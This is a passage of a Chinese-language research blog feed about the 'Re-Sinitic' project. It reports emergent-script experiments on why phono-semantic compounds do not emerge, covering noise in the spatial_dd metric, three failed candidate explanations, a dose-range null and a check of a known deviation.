<p>重言在問一件具體的事：形聲——一個字由表義部件加表音部件組成——是不是雙通道文字系統的必然收斂解？做法是固定漢語的語意結構（meaning space）當控制變數，從零重新演化音韻與書寫層。確認階段已於 2026-08-27 完成、heldout 詞表一次性用掉：可泛化的語音編碼在從未見過的字上通過確認（t = +7.35），但形符、聲符從未在空間上分化成兩個功能不同的部分——<strong>在測試的所有條件下，形聲都沒有湧現</strong>。</p>
<p>現在的工作，是把這條完整的推導線——從 S1 語音層、S2 書寫層、S3 方言壓力到一次性確認，連同走過的錯路與中途撤回的結論——整理成參展作品的形式。專案的來龍去脈見<a href="/re-sinitic/">現況總覽</a>，逐集的推導過程見研究日誌<a href="/re-sinitic-01/">（一）</a>、<a href="/re-sinitic-02/">（二）</a>、<a href="/re-sinitic-03/">（三）</a>、<a href="/re-sinitic-04/">（四）</a>、<a href="/re-sinitic-05/">（五）</a>。</p>
<p>籌備有進展會在這裡更新。</p>]]></content:encoded>
    </item>
    <item>
      <title>重言 Re-Sinitic：量尺本身在晃，而三個候選解釋全部倒下 - 研究日誌（五）</title>
      <link>https://blog.siao.ai/re-sinitic-05/</link>
      <guid isPermaLink="true">https://blog.siao.ai/re-sinitic-05/</guid>
      <pubDate>Fri, 28 Aug 2026 00:00:00 GMT</pubDate>
      <description>第四集結尾說，剩下的假設只能在 train 上測。這集先發現量分工用的那把尺（spatial_dd）本身雜訊比效應還大三倍，逼出一套「看單點沒意義、看同一次評估內部的對比才算數」的讀法；用那套讀法把三個候選解釋逐一直接測過，全部失敗——包括本專案一路以來最被看好的「習得成本」假設。</description>
      <content:encoded><![CDATA[<blockquote>
<p>這篇是日誌，記的是當時的推論過程。想看目前最新的整體結論，見<a href="/re-sinitic/">現況總覽</a>。</p>
</blockquote>
<p>第四集結尾把話說死了：heldout 用完了，不會再有第二次，剩下的問題只能在 train 226 詞上回答。排在最前面的是「模組化是不是習得性問題」——這是全專案講了三集的主要候選解釋，卻一直沒被直接測過。這集先花了一番功夫才把測量工具本身修好，然後測了，而且連同另外兩個候選解釋一起測了。三個全部倒下。</p>
<h2 id="先把跑得動的成本降下來" class="phrased">先把<wbr>跑得<wbr>動的<wbr>成本<wbr>降下來</h2>
<p>直接測習得成本，需要把 226 選 1 的 S2 run 跑到能負擔重複實驗的程度。候選編碼原本是「每個候選各自從頭編碼」，改成「全詞表編一次、用索引查表」之後，一個 226 選 1 的 S2 run 從 845 分鐘降到 47 分鐘；對抗式候選集那條路徑也跟著優化，從 30 分鐘降到 22 分鐘。這不是這集的主角，但它是接下來一切的前提——沒有這次效能修正，後面要做的重跑和多種子驗證都跑不起。</p>
<h2 id="量尺本身在晃-spatial-dd-的雜訊比它要偵測的效應大三倍" class="phrased">量尺<wbr>本身<wbr>在晃：<wbr>spatial_dd 的<wbr>雜訊<wbr>比它要<wbr>偵測<wbr>的<wbr>效應<wbr>大<wbr>三倍</h2>
<p>效能優化之後，順手用同一個設定、<strong>同一個種子</strong>重跑一次第三集用過的空間雙重分離實驗，想確認優化沒有改變數值。結果：</p>
<pre tabindex="0"><code>優化前   spatial_dd = −0.1372
優化後   spatial_dd = +0.0398
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="同一設定、同一種子：spatial_dd 兩次跑出不同號" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="75.5" x2="536" y2="75.5" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.20</text><text x="36" y="79.5" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.04</text><rect x="135" y="75.5" width="62" height="105.98699999999997" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:0"></rect><text x="167" y="195.48699999999997" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.1372</text><text x="167" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">優化前</text><rect x="381" y="24.2575" width="62" height="51.2425" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="413" y="18.2575" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.0398</text><text x="413" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">優化後</text></svg><figcaption>同一設定、同一種子：spatial_dd 兩次跑出不同號</figcaption></figure>
<p>先排除是不是優化本身出了 bug：展開版與索引版的中間輸出逐項比對，最大絕對差是 0.00——完全等價。差異不是程式錯誤，是<strong>訓練過程本身的混沌發散</strong>：GRU 在不同 batch 形狀下浮點數的累加順序不同，30000 步之後被放大成完全不同的解。<strong>同一個種子不保證同一個結果。</strong></p>
<p>同一設定同一種子的跨度是 <strong>0.18</strong>，而事先定的最小有意義效應量（SESOI）是 <strong>0.05</strong>——這把尺的雜訊比它要偵測的效應大三倍。這件事逼出一個讀法上的修正：</p>
<ul>
<li>第三集撤回「讀者換代產生空間分工」是對的——那個 +0.053 本來就落在單一設定的雜訊範圍內</li>
<li>但這也代表 <code>spatial_dd</code> 的<strong>任何單點數值都不可解讀</strong>，包括先前用來支持虛無結果的那些數字。任何結論都必須建立在多種子平均上</li>
<li>真正結實的不是 <code>spatial_dd</code> 本身，是它的<strong>成分</strong>：遮左半造成 −0.584 的傷害、遮右半 −0.602，兩者的差只有 0.018。這個「巨大傷害、微小差異」的對比不受混沌影響，因為兩個數字來自<strong>同一次 forward</strong>，不是兩次獨立訓練的比較</li>
</ul>
<p>換句話說：跨 run 比較的數字會被訓練過程的混沌吞掉，同一次評估內部的數字不會。這決定了接下來的分析全部要往哪個方向靠。</p>
<h2 id="把三個候選解釋逐一直接測過-全部失敗" class="phrased">把<wbr>三個<wbr>候選<wbr>解釋<wbr>逐一<wbr>直接<wbr>測過，<wbr>全部<wbr>失敗</h2>
<p>論文草稿一直列著三個「為什麼沒有分工」的候選壓力，前兩個第三集已經間接測過（對抗式候選集、讀者換代），這集把第三個、也是最被看好的一個，直接放進訓練迴圈測了：</p>
<table tabindex="0">
<thead>
<tr>
<th>假設</th>
<th>操作</th>
<th><code>spatial_dd</code>（多種子平均）</th>
<th>部件複用率</th>
</tr>
</thead>
<tbody>
<tr>
<td>(b) 兩個目標可加</td>
<td>對抗式候選集</td>
<td>≈ 0</td>
<td>0.805</td>
</tr>
<tr>
<td>(c) 沒有習得成本</td>
<td>讀者換代</td>
<td>+0.003</td>
<td>0.633</td>
</tr>
<tr>
<td><strong>(a) 每個字都在訓練集裡</strong></td>
<td><strong>分離曝光</strong></td>
<td><strong>−0.001</strong></td>
<td><strong>0.966</strong></td>
</tr>
<tr>
<td>—</td>
<td>對照</td>
<td>+0.004</td>
<td>0.736</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="三個候選解釋：spatial_dd 全部貼著零" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="178.5" x2="536" y2="178.5" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.00</text><text x="36" y="182.5" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.00</text><rect x="73.5" y="178.5" width="62" height="0" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="105.5" y="172.5" text-anchor="middle" style="fill:var(--ink);font-size:11px">0</text><text x="105.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">目標可加</text><rect x="196.5" y="62.625" width="62" height="115.875" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="228.5" y="56.625" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.003</text><text x="228.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">沒有習得成本</text><rect x="319.5" y="178.5" width="62" height="51.5" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:2"></rect><text x="351.5" y="244" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.001</text><text x="351.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">分離曝光</text><rect x="442.5" y="24" width="62" height="154.5" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:3"></rect><text x="474.5" y="18" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.004</text><text x="474.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">對照</text></svg><figcaption>三個候選解釋：spatial_dd 全部貼著零</figcaption></figure>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="三個候選解釋：部件複用率（分離曝光衝到全專案最高）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.50</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">1</text><rect x="73.5" y="64.16999999999999" width="62" height="165.83" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="105.5" y="58.16999999999999" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.805</text><text x="105.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">目標可加</text><rect x="196.5" y="99.602" width="62" height="130.398" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="228.5" y="93.602" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.633</text><text x="228.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">沒有習得成本</text><rect x="319.5" y="31.00400000000002" width="62" height="198.99599999999998" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="351.5" y="25.00400000000002" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.966</text><text x="351.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">分離曝光</text><rect x="442.5" y="78.38400000000001" width="62" height="151.61599999999999" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:3"></rect><text x="474.5" y="72.38400000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.736</text><text x="474.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">對照</text></svg><figcaption>三個候選解釋：部件複用率（分離曝光衝到全專案最高）</figcaption></figure>
<p>「分離曝光」的做法：先前的零樣本探針只是<strong>測量</strong>讀者認不認得沒學過的字，這次把那個壓力直接<strong>放進訓練迴圈</strong>——每次讀者換代都重抽一次 70/30 分割，讀者只在曝光集上學，而 <strong>Writer 的損失算在讀者沒看過的那 30% 上</strong>。Writer 因此被逼著必須產生「一個只學過七成字的讀者也讀得懂剩下三成」的字形。</p>
<p>結果：曝光率 0.7 時，部件複用率衝到 <strong>0.966</strong>（三個種子分別是 0.969 / 0.938 / 0.991）——幾乎每個字都由共用部件拼出來，是全專案目前最高的複用率。而同一批 run 的 <code>spatial_dd</code> 平均是 <strong>+0.0000</strong>。曝光率 0.4 時系統直接崩潰（部件數只剩 4 個，全詞表準確率 13.3%，其中一個種子完全歸零）——壓力過頭時系統選擇放棄溝通，不是變得更有系統。</p>
<p>事先寫在腳本裡的判準是「平均 > +0.03 且多數種子為正」，三個假設沒有一個達成。</p>
<blockquote>
<p>三種介入都推動了部件化（複用率 0.736 → 0.805 → 0.966），沒有一個推動分工。<strong>可分解性與功能分化是兩件事，而這個系統只會做前者。</strong></p>
</blockquote>
<p>這是這個專案目前最重的一句話。「習得成本」是三個候選裡理論上最站得住腳的一個——人類確實需要模組化，正是因為會遇到沒學過的字、每個字的曝光量有限。直接把這個壓力做進系統，結果卻是把字形逼得更會共用零件，而不是逼出分工。<strong>逼出可分解性買不到功能分化。</strong></p>
<h2 id="這個虛無涵蓋整個劑量範圍-不是只有測過的那兩點" class="phrased">這個<wbr>虛無<wbr>涵蓋<wbr>整個<wbr>劑量<wbr>範圍，<wbr>不是<wbr>只有<wbr>測過的那<wbr>兩點</h2>
<p>先前的空間分工否定結論只在兩個劑量點上測過。擴到五個劑量 × 兩個種子：</p>
<pre tabindex="0"><code>同音率 0.031 → 0.496，十個格子
平均 −0.0013，範圍 −0.075 至 +0.035
達到 SESOI（+0.05）的格數：0/10
</code></pre>
<p>包括同音率最高的那一格——聲符原料理論上最充足的區間——也沒有例外。事先的判準是「任一劑量點的兩個種子都超過 +0.05，否定宣稱就要限縮範圍」，沒有一格達標。</p>
<h2 id="順便把第四集那個-已知偏離-拿去驗證了" class="phrased">順便<wbr>把<wbr>第四<wbr>集<wbr>那個<wbr>「已知<wbr>偏離」<wbr>拿去<wbr>驗證<wbr>了</h2>
<p>第四集報過一個已知偏離：確認階段用的是探索階段的舊 artifact（16 選 1 訓練），沒滿足「訓練候選數等於評估候選數」的修訂要求，理由是重訓要三個月。這次效能修正把成本降到 47 分鐘/run 之後，這個偏離變得可以檢驗了。</p>
<p>但<strong>不能拿 heldout 重跑</strong>——一次性紀律存在的目的，正是防止「換個更好的設定再跑一次，直到它成立」。就算動機是修正一個真實的偏離，「第一次有偏離所以再跑一次」和「第一次結果不夠好所以再跑一次」從外部看是分不開的。所以改在 train 的 70/30 切分上重跑，記為方法學補充，不當成第二次確認。</p>
<p>同一個 S1 設定，16 選 1 跟 226 選 1 訓練的零樣本語音優勢：</p>
<table tabindex="0">
<thead>
<tr>
<th>設定</th>
<th>主力</th>
<th>基線</th>
<th>零樣本語音優勢</th>
</tr>
</thead>
<tbody>
<tr>
<td>16 選 1</td>
<td>16.7%</td>
<td>2.9%</td>
<td>+13.7%</td>
</tr>
<tr>
<td><strong>226 選 1（對齊候選數）</strong></td>
<td>17.2%</td>
<td><strong>0.5%</strong></td>
<td><strong>+16.7%</strong>（t = +7.80，n=3）</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="對齊訓練/評估候選數之後：效應不減反增" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">10</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">20</text><rect x="135" y="88.89000000000001" width="62" height="141.10999999999999" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="167" y="82.89000000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">13.7</text><text x="167" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">16 選 1（舊 artifact）</text><rect x="381" y="57.99000000000001" width="62" height="172.01" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="413" y="51.99000000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">16.7</text><text x="413" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">226 選 1（對齊候選數）</text></svg><figcaption>對齊訓練/評估候選數之後：效應不減反增</figcaption></figure>
<p>對齊候選數之後效應不減反增，基線還更貼近 chance（1.5%）。<strong>那個已知偏離不影響確認階段的結論；如果有影響，是先前低估了效應。</strong></p>
<h2 id="英文稿也譯完了" class="phrased">英文<wbr>稿也譯<wbr>完了</h2>
<p>論文草稿的英文版（<code>paper/DRAFT_en.md</code>）已經完成，兩個版本現在都同步含這集的三件事：heldout 一次性使用的紀律、<code>spatial_dd</code> 的雜訊問題、以及已知偏離的事後驗證。</p>
<h2 id="這些結論現在有多硬" class="phrased">這些<wbr>結論<wbr>現在<wbr>有多硬</h2>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>「為什麼沒有分工」的三個候選解釋</td>
<td><strong>全部直接測過，全部失敗</strong>（習得成本、目標可加、讀者換代）</td>
</tr>
<tr>
<td>空間分工的否定結論</td>
<td>涵蓋整個劑量範圍（0/10 格達到 SESOI），不只是先前測過的兩點</td>
</tr>
<tr>
<td>測量工具的限制</td>
<td><code>spatial_dd</code> 單點數值不可解讀（雜訊 0.18 > SESOI 0.05）；結論改用同一次評估內的成分對比，或多種子平均</td>
</tr>
<tr>
<td>確認階段的已知偏離</td>
<td>已在 train 上驗證不影響結論（226 選 1 下效應更強，+13.7% → +16.7%）</td>
</tr>
<tr>
<td>論文稿</td>
<td>中英文版本同步，限制一節已更新到確認階段之後</td>
</tr>
</tbody>
</table>
<h2 id="下一步">下一步</h2>
<p>三個列在論文裡的候選解釋都倒下了，而「為什麼沒有分工」目前沒有第四個候選在排隊。這是個真正的空白，不是還沒查完的待辦——下一步得先想出新的候選，而不是繼續測已經想到的。不需要等這個也能做的事：整理論文準備投稿、看看有沒有遺漏的方法學檢查。等有新的候選解釋、或投稿準備得差不多，會有第六集。</p>]]></content:encoded>
    </item>
    <item>
      <title>重言 Re-Sinitic：形聲為什麼沒有湧現</title>
      <link>https://blog.siao.ai/re-sinitic/</link>
      <guid isPermaLink="true">https://blog.siao.ai/re-sinitic/</guid>
      <pubDate>Fri, 28 Aug 2026 00:00:00 GMT</pubDate>
      <description>固定漢語的語意結構，從零重新演化語音與書寫層，問形聲是不是雙通道文字系統的必然收斂解——確認階段已於 2026-08-27 一次性完成：可泛化的語音編碼在從未見過的字上通過確認（t = +7.35），但形符、聲符從未在空間上分化成兩個功能不同的部分。三個「為什麼沒有分工」的候選解釋（習得成本、目標可加、讀者換代）已全數直接測過並失敗，目前沒有第四個候選在排隊。這篇是持續更新的現況總覽，不是逐集日誌；完整過程記錄另見研究日誌。</description>
      <content:encoded><![CDATA[<blockquote>
<p>這篇是「重言 Re-Sinitic」的現況總覽，會隨研究進度持續改寫，不是逐次發表的日誌。想看完整的推導過程、走過的錯路與撤回，見<a href="/re-sinitic-01/">研究日誌（一）</a>、<a href="/re-sinitic-02/">（二）</a>、<a href="/re-sinitic-03/">（三）</a>、<a href="/re-sinitic-04/">（四）</a>、<a href="/re-sinitic-05/">（五）</a>。<strong>確認階段已於 2026-08-27 完成，heldout 詞表已一次性用掉</strong>，不會再有第二次獨立驗證——下面標成「已確認」的結論來自那次結果，其餘仍是探索階段的觀察。</p>
</blockquote>
<h2 id="這個專案在問什麼" class="phrased">這個<wbr>專案<wbr>在問<wbr>什麼</h2>
<p>固定漢語的語意結構（meaning space）當控制變數，從零重新演化語言的表達層——音韻與書寫。問一件具體的事：</p>
<blockquote>
<p>形聲——一個字由表義部件加表音部件組成——是不是雙通道語言系統的必然收斂解？如果不是，它需要什麼前提？</p>
</blockquote>
<p>文獻上的空白很具體：現有的符號湧現研究全部停在「圖畫 → 抽象符號」，沒有人碰過形音義三元結構。</p>
<p>「做完」長什麼樣：S1 離散語音層跑出可信的音系 → S2 書寫層檢定形聲是否湧現 → S3 檢定方言壓力的作用，用劑量-反應設計分辨「同音壓力」與「方言壓力」各自的效果。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 651.00 67.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="三個探索階段 + 一次性確認">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 62.83)">
<polygon fill="none" stroke="none" points="-4,4 -4,-62.83 647.02,-62.83 647.02,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="52.57" cy="-29.42" rx="52.57" ry="29.42"></ellipse>
<text text-anchor="middle" x="52.57" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">S1</text>
<text text-anchor="middle" x="52.57" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">語音層可行</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="210.21" cy="-29.42" rx="69.07" ry="29.42"></ellipse>
<text text-anchor="middle" x="210.21" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">S2</text>
<text text-anchor="middle" x="210.21" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">形聲有沒有湧現</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M105.4,-29.42C113.09,-29.42 121.17,-29.42 129.27,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="129.2,-32.92 139.2,-29.42 129.2,-25.92 129.2,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="384.36" cy="-29.42" rx="69.07" ry="29.42"></ellipse>
<text text-anchor="middle" x="384.36" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">S3</text>
<text text-anchor="middle" x="384.36" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">方言壓力的作用</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M279.74,-29.42C287.64,-29.42 295.75,-29.42 303.78,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="303.55,-32.92 313.55,-29.42 303.55,-25.92 303.55,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="566.22" cy="-29.42" rx="76.8" ry="29.42"></ellipse>
<text text-anchor="middle" x="566.22" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">確認階段</text>
<text text-anchor="middle" x="566.22" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">heldout，一次性</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M453.87,-29.42C461.7,-29.42 469.75,-29.42 477.78,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="477.58,-32.92 487.58,-29.42 477.58,-25.92 477.58,-32.92"></polygon>
</g>
</g>
</svg><figcaption>三個探索階段 + 一次性確認</figcaption></figure>
<h2 id="目前的結論" class="phrased">目前<wbr>的<wbr>結論</h2>
<blockquote>
<p>書寫系統會演化出可泛化的語音編碼：一個只學過 226 個字的讀者，能以 10 倍 chance 的準確率認出 102 個從未存在過的新字的發音（t = +9.43），其中 7.4 個百分點來自語音路（t = +7.35）——<strong>這件事在 2026-08-27 的確認階段，用完全未參與任何訓練的 heldout 詞驗證過。</strong> 但字形從未分化成「這一半表義、那一半表音」。</p>
</blockquote>
<p>本研究區分四件常被混為一談的事：</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>探索階段</th>
<th>確認階段</th>
</tr>
</thead>
<tbody>
<tr>
<td>字形攜帶語音資訊</td>
<td><strong>會</strong></td>
<td>—</td>
</tr>
<tr>
<td>那個編碼是<strong>系統性的</strong>（能泛化到全新的字）</td>
<td><strong>會</strong></td>
<td><strong>✅ 確認，t = +7.35</strong></td>
</tr>
<tr>
<td>那個能力<strong>隨同音壓力增強</strong></td>
<td>成立（r = +0.903）</td>
<td><strong>❌ 未確認，t = +1.63</strong></td>
</tr>
<tr>
<td>兩類資訊由字形的<strong>不同部分</strong>攜帶（= 形聲）</td>
<td><strong>從來沒有</strong></td>
<td>未測，沿用探索階段結論</td>
</tr>
</tbody>
</table>
<p><strong>關於「存在」的宣稱通過確認，關於「函數形式」的宣稱沒有。</strong> 「聲符原則會湧現」是一個關於存在的宣稱，「隨同音壓力增強」是一個關於函數形式的宣稱——前者比後者更基本，而通過的是前者。</p>
<h3 id="確認階段-heldout-用掉的那一次" class="phrased">確認<wbr>階段：<wbr>heldout 用掉<wbr>的那<wbr>一次</h3>
<p>2026-08-27，凍結既有的 Speaker 與 Writer，對 102 個從未出現過的 heldout 詞的語意向量產生發音與字形，再訓練一個只看過 train 226 詞的全新 Reader，問它認不認得這些新字。<strong>這些詞的語意、發音、字形都未參與過任何階段的訓練。</strong></p>
<pre tabindex="0"><code>主力（語音路開啟）語音辨識   9.9%   = chance 的 10.1 倍   t = +9.43
基線（語音路關閉）語音辨識   2.5%   = chance 的  2.5 倍   t = +2.82
主力 − 基線                  +7.4 個百分點                t = +7.35

零樣本語音優勢 vs 同音率     r = +0.377   t = +1.63（未達顯著）
</code></pre>
<p>探索階段的劑量關係是 r = +0.903、t = +6.41，到 heldout 掉到不顯著——方向還在（低劑量平均 +6.4%、高劑量平均 +10.0%），但撐不起「單調增強」這句話。<strong>這是一次性資源，heldout 不會再被動用第二次</strong>，任何後續分析都要記為「看過確認資料之後」。這次確認也有已知的偏離：沿用了 16 選 1 訓練的舊 artifact，未滿足「訓練候選數等於評估候選數」的修訂要求；每個劑量只有 3 個種子，非原訂的 5 個。</p>
<h3 id="探索階段的正向結果-聲符原則與形符原則都會湧現-而且能共存" class="phrased">探索<wbr>階段<wbr>的<wbr>正向<wbr>結果：<wbr>聲符<wbr>原則<wbr>與形符<wbr>原則<wbr>都會<wbr>湧現，<wbr>而且<wbr>能<wbr>共存</h3>
<p>以下是<strong>探索階段</strong>（train 226 詞）的觀察，其中「存在」那部分已如上經 heldout 確認；「隨同音壓力增強」的劑量曲線本身沒有通過確認，下面的數字要在這個保留下閱讀。</p>
<p>凍結 Writer、重新初始化 Reader、只給它 70% 的字，再問剩下的 30%——看到沒學過的字，能不能靠拆解猜出它的音，或猜出它的意思？</p>
<table tabindex="0">
<thead>
<tr>
<th>同音率</th>
<th>0.021</th>
<th>0.069</th>
<th>0.150</th>
<th>0.178</th>
<th>0.295</th>
<th><strong>0.437</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>語音零樣本（主力）</td>
<td>5.9%</td>
<td>15.7%</td>
<td>12.7%</td>
<td>15.4%</td>
<td>16.2%</td>
<td><strong>25.2%</strong></td>
</tr>
<tr>
<td>語音零樣本（基線）</td>
<td>3.4%</td>
<td>3.7%</td>
<td>2.0%</td>
<td>3.9%</td>
<td>2.7%</td>
<td>2.5%</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="零樣本語音辨識率隨同音率上升（探索階段，n=36 run）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">主力</text><line x1="98" y1="10" x2="114" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="120" y="14" style="fill:var(--ink);font-size:11px">基線</text><line x1="44" y1="252" x2="536" y2="252" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="153" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">15</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">30</text><polyline points="44,211.48666666666668 142.4,144.19333333333333 240.8,164.79333333333335 339.20000000000005,146.25333333333333 437.6,140.76000000000002 536,78.96000000000001" class="chart-line" style="fill:none;stroke:var(--accent);stroke-width:2;--i:0"></polyline><circle cx="44" cy="211.48666666666668" r="3.5" class="chart-point" style="fill:var(--accent);--i:0"></circle><text x="44" y="201.48666666666668" text-anchor="middle" style="fill:var(--ink);font-size:11px">5.9</text><circle cx="142.4" cy="144.19333333333333" r="3.5" class="chart-point" style="fill:var(--accent);--i:1"></circle><text x="142.4" y="134.19333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">15.7</text><circle cx="240.8" cy="164.79333333333335" r="3.5" class="chart-point" style="fill:var(--accent);--i:2"></circle><text x="240.8" y="154.79333333333335" text-anchor="middle" style="fill:var(--ink);font-size:11px">12.7</text><circle cx="339.20000000000005" cy="146.25333333333333" r="3.5" class="chart-point" style="fill:var(--accent);--i:3"></circle><text x="339.20000000000005" y="136.25333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">15.4</text><circle cx="437.6" cy="140.76000000000002" r="3.5" class="chart-point" style="fill:var(--accent);--i:4"></circle><text x="437.6" y="130.76000000000002" text-anchor="middle" style="fill:var(--ink);font-size:11px">16.2</text><circle cx="536" cy="78.96000000000001" r="3.5" class="chart-point" style="fill:var(--accent);--i:5"></circle><text x="536" y="68.96000000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">25.2</text><polyline points="44,228.65333333333334 142.4,226.59333333333333 240.8,238.26666666666668 339.20000000000005,225.22 437.6,233.46 536,234.83333333333334" class="chart-line" style="fill:none;stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4;--i:1"></polyline><circle cx="44" cy="228.65333333333334" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:6"></circle><text x="44" y="242.65333333333334" text-anchor="middle" style="fill:var(--ink);font-size:11px">3.4</text><circle cx="142.4" cy="226.59333333333333" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:7"></circle><text x="142.4" y="240.59333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">3.7</text><circle cx="240.8" cy="238.26666666666668" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:8"></circle><text x="240.8" y="252.26666666666668" text-anchor="middle" style="fill:var(--ink);font-size:11px">2</text><circle cx="339.20000000000005" cy="225.22" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:9"></circle><text x="339.20000000000005" y="239.22" text-anchor="middle" style="fill:var(--ink);font-size:11px">3.9</text><circle cx="437.6" cy="233.46" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:10"></circle><text x="437.6" y="247.46" text-anchor="middle" style="fill:var(--ink);font-size:11px">2.7</text><circle cx="536" cy="234.83333333333334" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:11"></circle><text x="536" y="248.83333333333334" text-anchor="middle" style="fill:var(--ink);font-size:11px">2.5</text><text x="44" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.021</text><text x="142.4" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.069</text><text x="240.8" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.150</text><text 